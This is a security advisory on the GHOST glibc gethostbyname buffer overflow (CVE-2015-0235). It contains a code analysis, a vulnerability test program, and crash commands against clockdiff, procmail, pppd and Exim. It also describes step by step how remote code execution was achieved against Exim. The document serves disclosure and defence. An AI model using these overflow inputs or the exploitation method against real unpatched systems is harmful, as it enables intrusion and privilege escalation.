Qualys Security Advisory CVE-2015-0235
GHOST: glibc gethostbyname buffer overflow
--[ Contents ]----------------------------------------------------------------
1 - Summary
2 - Analysis
3 - Mitigating factors
4 - Case studies
5 - Exploitation
6 - Acknowledgments
--[ 1 - Summary ]-------------------------------------------------------------
During a code audit performed internally at Qualys, we discovered a
buffer overflow in the __nss_hostname_digits_dots() function of the GNU
C Library (glibc). This bug is reachable both locally and remotely via
the gethostbyname*() functions, so we decided to analyze it -- and its
impact -- thoroughly, and named this vulnerability "GHOST".
Our main conclusions are:
- Via gethostbyname() or gethostbyname2(), the overflowed buffer is
located in the heap. Via gethostbyname_r() or gethostbyname2_r(), the
overflowed buffer is caller-supplied (and may therefore be located in
the heap, stack, .data, .bss, etc; however, we have seen no such call
in practice).
- At most sizeof(char *) bytes can be overwritten (ie, 4 bytes on 32-bit
machines, and 8 bytes on 64-bit machines). Bytes can be overwritten
only with digits ('0'...'9'), dots ('.'), and a terminating null
character ('\0').
- Despite these limitations, arbitrary code execution can be achieved.
As a proof of concept, we developed a full-fledged remote exploit
against the Exim mail server, bypassing all existing protections
(ASLR, PIE, and NX) on both 32-bit and 64-bit machines. We will
publish our exploit as a Metasploit module in the near future.
- The first vulnerable version of the GNU C Library is glibc-2.2,
released on November 10, 2000.
- We identified a number of factors that mitigate the impact of this
bug. In particular, we discovered that it was fixed on May 21, 2013
(between the releases of glibc-2.17 and glibc-2.18). Unfortunately, it
was not recognized as a security threat; as a result, most stable and
long-term-support distributions were left exposed (and still are):
Debian 7 (wheezy), Red Hat Enterprise Linux 6 & 7, CentOS 6 & 7,
Ubuntu 12.04, for example.
--[ 2 - Analysis ]------------------------------------------------------------
The vulnerable function, __nss_hostname_digits_dots(), is called
internally by the glibc in nss/getXXbyYY.c (the non-reentrant version)
and nss/getXXbyYY_r.c (the reentrant version). However, the calls are
surrounded by #ifdef HANDLE_DIGITS_DOTS, a macro defined only in:
- inet/gethstbynm.c
- inet/gethstbynm2.c
- inet/gethstbynm_r.c
- inet/gethstbynm2_r.c
- nscd/gethstbynm3_r.c
These files implement the gethostbyname*() family, and hence the only
way to reach __nss_hostname_digits_dots() and its buffer overflow. The
purpose of this function is to avoid expensive DNS lookups if the
hostname argument is already an IPv4 or IPv6 address.
The code below comes from glibc-2.17:
35 int
36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
37 char **buffer, size_t *buffer_size,
38 size_t buflen, struct hostent **result,
39 enum nss_status *status, int af, int *h_errnop)
40 {
..
57 if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
58 {
59 const char *cp;
60 char *hostname;
61 typedef unsigned char host_addr_t[16];
62 host_addr_t *host_addr;
63 typedef char *host_addr_list_t[2];
64 host_addr_list_t *h_addr_ptrs;
65 char **h_alias_ptr;
66 size_t size_needed;
..
85 size_needed = (sizeof (*host_addr)
86 + sizeof (*h_addr_ptrs) + strlen (name) + 1);
87
88 if (buffer_size == NULL)
89 {
90 if (buflen < size_needed)
91 {
..
95 goto done;
96 }
97 }
98 else if (buffer_size != NULL && *buffer_size < size_needed)
99 {
100 char *new_buf;
101 *buffer_size = size_needed;
102 new_buf = (char *) realloc (*buffer, *buffer_size);
103
104 if (new_buf == NULL)
105 {
...
114 goto done;
115 }
116 *buffer = new_buf;
117 }
...
121 host_addr = (host_addr_t *) *buffer;
122 h_addr_ptrs = (host_addr_list_t *)
123 ((char *) host_addr + sizeof (*host_addr));
124 h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
125 hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
126
127 if (isdigit (name[0]))
128 {
129 for (cp = name;; ++cp)
130 {
131 if (*cp == '\0')
132 {
133 int ok;
134
135 if (*--cp == '.')
136 break;
...
142 if (af == AF_INET)
143 ok = __inet_aton (name, (struct in_addr *) host_addr);
144 else
145 {
146 assert (af == AF_INET6);
147 ok = inet_pton (af, name, host_addr) > 0;
148 }
149 if (! ok)
150 {
...
154 goto done;
155 }
156
157 resbuf->h_name = strcpy (hostname, name);
...
194 goto done;
195 }
196
197 if (!isdigit (*cp) && *cp != '.')
198 break;
199 }
200 }
...
Lines 85-86 compute the size_needed to store three (3) distinct entities
in buffer: host_addr, h_addr_ptrs, and name (the hostname). Lines 88-117
make sure the buffer is large enough: lines 88-97 correspond to the
reentrant case, lines 98-117 to the non-reentrant case.
Lines 121-125 prepare pointers to store four (4) distinct entities in
buffer: host_addr, h_addr_ptrs, h_alias_ptr, and hostname. The sizeof
(*h_alias_ptr) -- the size of a char pointer -- is missing from the
computation of size_needed.
The strcpy() on line 157 should therefore allow us to write past the end
of buffer, at most (depending on strlen(name) and alignment) 4 bytes on
32-bit machines, or 8 bytes on 64-bit machines. There is a similar
strcpy() after line 200, but no buffer overflow:
236 size_needed = (sizeof (*host_addr)
237 + sizeof (*h_addr_ptrs) + strlen (name) + 1);
...
267 host_addr = (host_addr_t *) *buffer;
268 h_addr_ptrs = (host_addr_list_t *)
269 ((char *) host_addr + sizeof (*host_addr));
270 hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs);
...
289 resbuf->h_name = strcpy (hostname, name);
In order to reach the overflow at line 157, the hostname argument must
meet the following requirements:
- Its first character must be a digit (line 127).
- Its last character must not be a dot (line 135).
- It must comprise only digits and dots (line 197) (we call this the
"digits-and-dots" requirement).
- It must be long enough to overflow the buffer. For example, the
non-reentrant gethostbyname*() functions initially allocate their
buffer with a call to malloc(1024) (the "1-KB" requirement).
- It must be successfully parsed as an IPv4 address by inet_aton() (line
143), or as an IPv6 address by inet_pton() (line 147). Upon careful
analysis of these two functions, we can further refine this
"inet-aton" requirement:
. It is impossible to successfully parse a "digits-and-dots" hostname
as an IPv6 address with inet_pton() (':' is forbidden). Hence it is
impossible to reach the overflow with calls to gethostbyname2() or
gethostbyname2_r() if the address family argument is AF_INET6.
. Conclusion: inet_aton() is the only option, and the hostname must
have one of the following forms: "a.b.c.d", "a.b.c", "a.b", or "a",
where a, b, c, d must be unsigned integers, at most 0xfffffffful,
converted successfully (ie, no integer overflow) by strtoul() in
decimal or octal (but not hexadecimal, because 'x' and 'X' are
forbidden).
--[ 3 - Mitigating factors ]--------------------------------------------------
The impact of this bug is reduced significantly by the following
reasons:
- A patch already exists (since May 21, 2013), and has been applied and
tested since glibc-2.18, released on August 12, 2013:
[BZ #15014]
* nss/getXXbyYY_r.c (INTERNAL (REENTRANT_NAME))
[HANDLE_DIGITS_DOTS]: Set any_service when digits-dots parsing was
successful.
* nss/digits_dots.c (__nss_hostname_digits_dots): Remove
redundant variable declarations and reallocation of buffer when
parsing as IPv6 address. Always set NSS status when called from
reentrant functions. Use NETDB_INTERNAL instead of TRY_AGAIN when
buffer too small. Correct computation of needed size.
* nss/Makefile (tests): Add test-digits-dots.
* nss/test-digits-dots.c: New test.
- The gethostbyname*() functions are obsolete; with the advent of IPv6,
recent applications use getaddrinfo() instead.
- Many programs, especially SUID binaries reachable locally, use
gethostbyname() if, and only if, a preliminary call to inet_aton()
fails. However, a subsequent call must also succeed (the "inet-aton"
requirement) in order to reach the overflow: this is impossible, and
such programs are therefore safe.
- Most of the other programs, especially servers reachable remotely, use
gethostbyname() to perform forward-confirmed reverse DNS (FCrDNS, also
known as full-circle reverse DNS) checks. These programs are generally
safe, because the hostname passed to gethostbyname() has normally been
pre-validated by DNS software:
. "a string of labels each containing up to 63 8-bit octets, separated
by dots, and with a maximum total of 255 octets." This makes it
impossible to satisfy the "1-KB" requirement.
. Actually, glibc's DNS resolver can produce hostnames of up to
(almost) 1025 characters (in case of bit-string labels, and special
or non-printable characters). But this introduces backslashes ('\\')
and makes it impossible to satisfy the "digits-and-dots"
requirement.
--[ 4 - Case studies ]--------------------------------------------------------
In this section, we will analyze real-world examples of programs that
call the gethostbyname*() functions, but we first introduce a small test
program that checks whether a system is vulnerable or not:
[user@...ora-19 ~]$ cat > GHOST.c << EOF
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#define CANARY "in_the_coal_mine"
struct {
char buffer[1024];
char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };
int main(void) {
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;
/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
char name[sizeof(temp.buffer)];
memset(name, '0', len);
name[len] = '\0';
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
if (strcmp(temp.canary, CANARY) != 0) {
puts("vulnerable");
exit(EXIT_SUCCESS);
}
if (retval == ERANGE) {
puts("not vulnerable");
exit(EXIT_SUCCESS);
}
puts("should not happen");
exit(EXIT_FAILURE);
}
EOF
[user@...ora-19 ~]$ gcc GHOST.c -o GHOST
On Fedora 19 (glibc-2.17):
[user@...ora-19 ~]$ ./GHOST
vulnerable
On Fedora 20 (glibc-2.18):
[user@...ora-20 ~]$ ./GHOST
not vulnerable
----[ 4.1 - The GNU C Library ]-----------------------------------------------
The glibc itself contains a few calls to gethostbyname*() functions. In
particular, getaddrinfo() calls gethostbyname2_r() if, but only if, a
first call to inet_aton() fails: in accordance with the "inet-aton"
requirement, these internal calls are safe. For example,
eglibc-2.13/sysdeps/posix/getaddrinfo.c:
at->family = AF_UNSPEC;
...
if (__inet_aton (name, (struct in_addr *) at->addr) != 0)
{
if (req->ai_family == AF_UNSPEC || req->ai_family == AF_INET)
at->family = AF_INET;
else if (req->ai_family == AF_INET6 && (req->ai_flags & AI_V4MAPPED))
{
...
at->family = AF_INET6;
}
else
return -EAI_ADDRFAMILY;
...
}
...
if (at->family == AF_UNSPEC && (req->ai_flags & AI_NUMERICHOST) == 0)
{
...
size_t tmpbuflen = 512;
char *tmpbuf = alloca (tmpbuflen);
...
rc = __gethostbyname2_r (name, family, &th, tmpbuf,
tmpbuflen, &h, &herrno);
...
}
----[ 4.2 - mount.nfs ]-------------------------------------------------------
Similarly, mount.nfs (a SUID-root binary) is not vulnerable:
if (inet_aton(hostname, &addr->sin_addr))
return 0;
if ((hp = gethostbyname(hostname)) == NULL) {
nfs_error(_("%s: can't get address for %s\n"),
progname, hostname);
return -1;
}
----[ 4.3 - mtr ]-------------------------------------------------------------
mtr (another SUID-root binary) is not vulnerable either, because it
calls getaddrinfo() instead of gethostbyname*() functions on any modern
(ie, IPv6-enabled) system:
#ifdef ENABLE_IPV6
/* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. */
...
error = getaddrinfo( Hostname, NULL, &hints, &res );
if ( error ) {
if (error == EAI_SYSTEM)
perror ("Failed to resolve host");
else
fprintf (stderr, "Failed to resolve host: %s\n", gai_strerror(error));
exit( EXIT_FAILURE );
}
...
#else
host = gethostbyname(Hostname);
if (host == NULL) {
herror("mtr gethostbyname");
exit(1);
}
...
#endif
----[ 4.4 - iputils ]---------------------------------------------------------
------[ 4.4.1 - clockdiff ]---------------------------------------------------
clockdiff is vulnerable in a straightforward manner:
hp = gethostbyname(argv[1]);
if (hp == NULL) {
fprintf(stderr, "clockdiff: %s: host not found\n", argv[1]);
exit(1);
}
[user@...ora-19-32b ~]$ ls -l /usr/sbin/clockdiff
-rwxr-xr-x. 1 root root 15076 Feb 1 2013 /usr/sbin/clockdiff
[user@...ora-19-32b ~]$ getcap /usr/sbin/clockdiff
/usr/sbin/clockdiff = cap_net_raw+ep
[user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"`
.Segmentation fault
[user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"`
Segmentation fault
[user@...ora-19-32b ~]$ dmesg
...
[202071.118929] clockdiff[3610]: segfault at b86711f4 ip b75de0c6 sp bfc191f0 error 6 in libc-2.17.so[b7567000+1b8000]
[202086.144336] clockdiff[3618]: segfault at b90d0d24 ip b75bb0c6 sp bf8e9dc0 error 6 in libc-2.17.so[b7544000+1b8000]
------[ 4.4.2 - ping and arping ]---------------------------------------------
ping and arping call gethostbyname() and gethostbyname2(), respectively,
if and only if inet_aton() fails first. This time, however, there is
another function call in between (Fedora, for example, does define
USE_IDN):
--------[ 4.4.2.1 - ping ]----------------------------------------------------
if (inet_aton(target, &whereto.sin_addr) == 1) {
...
} else {
char *idn;
#ifdef USE_IDN
int rc;
...
rc = idna_to_ascii_lz(target, &idn, 0);
if (rc != IDNA_SUCCESS) {
fprintf(stderr, "ping: IDN encoding failed: %s\n", idna_strerror(rc));
exit(2);
}
#else
idn = target;
#endif
hp = gethostbyname(idn);
--------[ 4.4.2.2 - arping ]--------------------------------------------------
if (inet_aton(target, &dst) != 1) {
struct hostent *hp;
char *idn = target;
#ifdef USE_IDN
int rc;
rc = idna_to_ascii_lz(target, &idn, 0);
if (rc != IDNA_SUCCESS) {
fprintf(stderr, "arping: IDN encoding failed: %s\n", idna_strerror(rc));
exit(2);
}
#endif
hp = gethostbyname2(idn, AF_INET);
--------[ 4.4.2.3 - Analysis ]------------------------------------------------
If idna_to_ascii_lz() modifies the target hostname, the first call to
inet_aton() could fail and the second call (internal to gethostbyname())
could succeed. For example, idna_to_ascii_lz() transforms any Unicode
dot-like character (0x3002, 0xFF0E, 0xFF61) into an ASCII dot (".").
But it also restricts the length of a domain label to 63 characters:
this makes it impossible to reach 1024 bytes (the "1-KB" requirement)
with only 4 labels and 3 dots (the "inet-aton" requirement).
Unless inet_aton() (actually, strtoul()) can be tricked into accepting
more than 3 dots? Indeed, idna_to_ascii_lz() does not restrict the total
length of a domain name. glibc supports "thousands' grouping characters"
(man 3 printf); for example, sscanf(str, "%'lu", &ul) yields 1000 when
processing any of the following input strings:
- "1,000" in an English locale;
- "1 000" in a French locale; and
- "1.000" in a German or Spanish locale.
strtoul() implements this "number grouping" too, but its use is limited
to internal glibc functions. Conclusion: more than 3 dots is impossible,
and neither ping nor arping is vulnerable.
----[ 4.5 - procmail ]--------------------------------------------------------
procmail (a SUID-root and SGID-mail binary) is vulnerable through its
"comsat/biff" feature:
#define COMSAThost "localhost" /* where the biff/comsat daemon lives */
...
#define SERV_ADDRsep '@' /* when overriding in COMSAT=serv@...r */
int setcomsat(chp)const char*chp;
{ char*chad; ...
chad=strchr(chp,SERV_ADDRsep); /* @ separator? */
...
if(chad)
*chad++='\0'; /* split the specifier */
if(!chad||!*chad) /* no host */
#ifndef IP_localhost /* Is "localhost" preresolved? */
chad=COMSAThost; /* nope, use default */
#else /* IP_localhost */
{ ...
}
else
#endif /* IP_localhost */
{ ...
if(!(host=gethostbyname(chad))||!host->h_0addr_list)
user@...ian-7-2-32b:~$ ls -l /usr/bin/procmail
-rwsr-sr-x 1 root mail 83912 Jun 6 2012 /usr/bin/procmail
user@...ian-7-2-32b:~$ /usr/bin/procmail 'VERBOSE=on' 'COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"` < /dev/null
...
*** glibc detected *** /usr/bin/procmail: free(): invalid next size (normal): 0x0980de30 ***
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb76b2f01]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb76b4768]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb76b781d]
/usr/bin/procmail[0x80548ec]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb7658e46]
/usr/bin/procmail[0x804bb55]
======= Memory map: ========
...
0980a000-0982b000 rw-p 00000000 00:00 0 [heap]
...
Aborted
user@...ian-7-2-32b:~$ _COMSAT_='COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"`
user@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_" "$_COMSAT_"1234 < /dev/null
Segmentation fault
user@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_"12345670 "$_COMSAT_"123456701234 < /dev/null
Segmentation fault
user@...ian-7-2-32b:~$ dmesg
...
[211409.564917] procmail[4549]: segfault at c ip b768e5a4 sp bfcb53d8 error 4 in libc-2.13.so[b761c000+15c000]
[211495.820710] procmail[4559]: segfault at b8cb290c ip b763c5a4 sp bf870c98 error 4 in libc-2.13.so[b75ca000+15c000]
----[ 4.6 - pppd ]------------------------------------------------------------
pppd (yet another SUID-root binary) calls gethostbyname() if a
preliminary call to inet_addr() (a simple wrapper around inet_aton())
fails. "The inet_addr() function converts the Internet host address cp
from IPv4 numbers-and-dots notation into binary data in network byte
order. If the input is invalid, INADDR_NONE (usually -1) is returned.
Use of this function is problematic because -1 is a valid address
(255.255.255.255)." A failure for inet_addr(), but a success for
inet_aton(), and consequently a path to the buffer overflow.
user@...ntu-12-04-32b:~$ ls -l /usr/sbin/pppd
-rwsr-xr-- 1 root dip 273272 Feb 3 2011 /usr/sbin/pppd
user@...ntu-12-04-32b:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
------[ 4.6.1 - ms-dns option ]-----------------------------------------------
static int
setdnsaddr(argv)
char **argv;
{
u_int32_t dns;
struct hostent *hp;
dns = inet_addr(*argv);
if (dns == (u_int32_t) -1) {
if ((hp = gethostbyname(*argv)) == NULL) {
option_error("invalid address parameter '%s' for ms-dns option",
*argv);
return 0;
}
dns = *(u_int32_t *)hp->h_addr;
}
user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-dns' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'
*** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x09c0f928 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb75e1ee2]
/lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb75d1db5]
/lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb75d1deb]
/usr/sbin/pppd(options_from_file+0xa8)[0x8064948]
/usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]
/usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]
/usr/sbin/pppd(main+0x1cf)[0x8050b2f]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb75854d3]
======= Memory map: ========
...
09c0c000-09c2d000 rw-p 00000000 00:00 0 [heap]
...
Aborted (core dumped)
------[ 4.6.2 - ms-wins option ]----------------------------------------------
static int
setwinsaddr(argv)
char **argv;
{
u_int32_t wins;
struct hostent *hp;
wins = inet_addr(*argv);
if (wins == (u_int32_t) -1) {
if ((hp = gethostbyname(*argv)) == NULL) {
option_error("invalid address parameter '%s' for ms-wins option",
*argv);
return 0;
}
wins = *(u_int32_t *)hp->h_addr;
}
user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-wins' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'
*** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x08a64928 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb757aee2]
/lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb756adb5]
/lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb756adeb]
/usr/sbin/pppd(options_from_file+0xa8)[0x8064948]
/usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]
/usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]
/usr/sbin/pppd(main+0x1cf)[0x8050b2f]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb751e4d3]
======= Memory map: ========
...
08a61000-08a82000 rw-p 00000000 00:00 0 [heap]
...
Aborted (core dumped)
------[ 4.6.3 - socket option ]-----------------------------------------------
static int
open_socket(dest)
char *dest;
{
char *sep, *endp = NULL;
int sock, port = -1;
u_int32_t host;
struct hostent *hent;
...
sep = strchr(dest, ':');
if (sep != NULL)
port = strtol(sep+1, &endp, 10);
if (port < 0 || endp == sep+1 || sep == dest) {
error("Can't parse host:port for socket destination");
return -1;
}
*sep = 0;
host = inet_addr(dest);
if (host == (u_int32_t) -1) {
hent = gethostbyname(dest);
if (hent == NULL) {
error("%s: unknown host in socket option", dest);
*sep = ':';
return -1;
}
host = *(u_int32_t *)(hent->h_addr_list[0]);
}
user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'socket' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255:1'
user@...ntu-12-04-32b:~$ *** glibc detected *** /usr/sbin/pppd: malloc(): memory corruption: 0x09cce270 ***
----[ 4.7 - Exim ]------------------------------------------------------------
The Exim mail server is exploitable remotely if configured to perform
extra security checks on the HELO and EHLO commands ("helo_verify_hosts"
or "helo_try_verify_hosts" option, or "verify = helo" ACL); we developed
a reliable and fully-functional exploit that bypasses all existing
protections (ASLR, PIE, NX) on 32-bit and 64-bit machines.
user@...ian-7-7-64b:~$ grep helo /var/lib/exim4/config.autogenerated | grep verify
helo_verify_hosts = *
user@...ian-7-7-64b:~$ python -c "print '0' * $((0x500-16*1-2*8-1-8))"
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
user@...ian-7-7-64b:~$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 debian-7-7-64b ESMTP Exim 4.80 ...
HELO 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Connection closed by foreign host.
user@...ian-7-7-64b:~$ dmesg
...
[ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in libc-2.13.so[7fabef2a2000+182000]
--[ 5 - Exploitation ]--------------------------------------------------------
----[ 5.1 - Code execution ]--------------------------------------------------
In this section, we describe how we achieve remote code execution
against the Exim SMTP mail server, bypassing the NX (No-eXecute)
protection and glibc's malloc hardening.
First, we overflow gethostbyname's heap-based buffer and partially
overwrite the size field of the next contiguous free chunk of memory
with a slightly larger size (we overwrite only 3 bytes of the size
field; in any case, we cannot overflow more than 4 bytes on 32-bit
machines, or 8 bytes on 64-bit machines):
|< malloc_chunk
|
-----|----------------------|---+--------------------|-----
... | gethostbyname buffer |p|s|f|b|F|B| free chunk | ...
-----|----------------------|---+--------------------|-----
| X|
|------------------------->|
overflow
where:
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
and: X marks the spot where the crucial memory corruption takes place.
As a result, this artificially-enlarged free chunk, which is managed by
glibc's malloc, overlaps another block of memory, Exim's current_block,
which is managed by Exim's internal memory allocator:
|< malloc_chunk |< storeblock
| |
-----|----------------------|------------------------|---------------+---|-----
... | gethostbyname buffer |p|s|f|b|F|B| free chunk |n|l| current_block | ...
-----|----------------------|------------------------|---------------+---|-----
| |
|<-------------------------------------->|
artificially enlarged free chunk
where:
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
Then, we partially allocate the enlarged free chunk and overwrite the
beginning of Exim's current_block of memory (the "storeblock" structure)
with arbitrary data. In particular, we overwrite its "next" field:
|< malloc_chunk |< storeblock
| |
-----|----------------------|------------------------|--------+----------|-----
... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaaaaa |n|l| current_block | ...
-----|----------------------|------------------------|--------+----------|-----
| X |
|<------------------------------->|
allocated chunk
This effectively turns gethostbyname's buffer overflow into a
write-anything-anywhere primitive, because we control both the pointer
to the next block of memory returned by Exim's allocator (the hijacked
"next" pointer) and the data allocated (a null-terminated string, the
argument of an SMTP command we send to Exim).
Finally, we use this write-anything-anywhere primitive to overwrite
Exim's run-time configuration, which is cached in the heap memory. More
precisely, we overwrite Exim's Access Control Lists (ACLs), and achieve
arbitrary command execution thanks to Exim's "${run{<command> <args>}}"
string expansion mechanism:
|< storeblock
|
-----|-------------------------------|---------------|-------------------|-----
... | Exim's run-time configuration | ... .. .. ... |n|l| current_block | ...
-----|----x--------------------------|---------------|x------------------|-----
| |
'<------------------------------------------'
hijacked next pointer
|< ACLs >|
-----|----+-----+--------+------+----|---------------|-------------------|-----
... | Exim's run-time configuration | ... .. .. ... | old current_block | ...
-----|----+-----+--------+------+----|---------------|-------------------|-----
| XXXXXXXX |
|<------------------->|
new current_block
----[ 5.2 - Information leak ]------------------------------------------------
The success of this exploit depends on an important piece of
information: the address of Exim's run-time configuration in the heap.
In this section, we describe how we obtain this address, bypassing the
ASLR (Address Space Layout Randomization) and PIE (Position Independent
Executable) protections.
First, we overflow gethostbyname's heap-based buffer and partially
overwrite the size field of the next contiguous free chunk of memory
with a slightly larger size:
|< malloc_chunk
|
-----|----------------------|---+-------------------------|-----
... | gethostbyname buffer |p|s|f|b|F|B| next free chunk | ...
-----|----------------------|---+-------------------------|-----
| X|
|------------------------->|
overflow
As a result, this artificially-enlarged free chunk overlaps another
block of memory, where Exim saves the error message "503 sender not yet
given\r\n" for later use:
|< malloc_chunk
|
-----|----------------------|-----------------------------|----------+----|-----
... | gethostbyname buffer |p|s|f|b|F|B| real free chunk | error message | ...
-----|----------------------|-----------------------------|----------+----|-----
| |
|<-------------------------------------->|
artificially enlarged free chunk
Then, we partially allocate the artificially-enlarged free chunk,
thereby splitting it in two: the newly allocated chunk, and a smaller,
free chunk (the remainder from the split). The malloc_chunk header for
this remaining free chunk overwrites the very beginning of the saved
error message with a pointer to the heap (the fd_nextsize pointer):
|< malloc_chunk |< malloc_chunk
| |
-----|----------------------|---------------------+-------|----------+----|-----
... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaa |p|s|f|b|F|B| r message | ...
-----|----------------------|---------------------+-------|----------+----|-----
| | X |
|<------------------->|<---------------->|
allocated chunk free chunk
Finally, we send an invalid SMTP command to Exim, and retrieve the
fd_nextsize heap pointer from Exim's SMTP response, which includes the
corrupted error message. This effectively turns gethostbyname's buffer
overflow into an information leak; moreover, it allows us to distinguish
between 32-bit and 64-bit machines.
--[ 6 - Acknowledgments ]-----------------------------------------------------
We would like to thank Alexander Peslyak of the Openwall Project for his
help with the disclosure process of this vulnerability.
Polish
English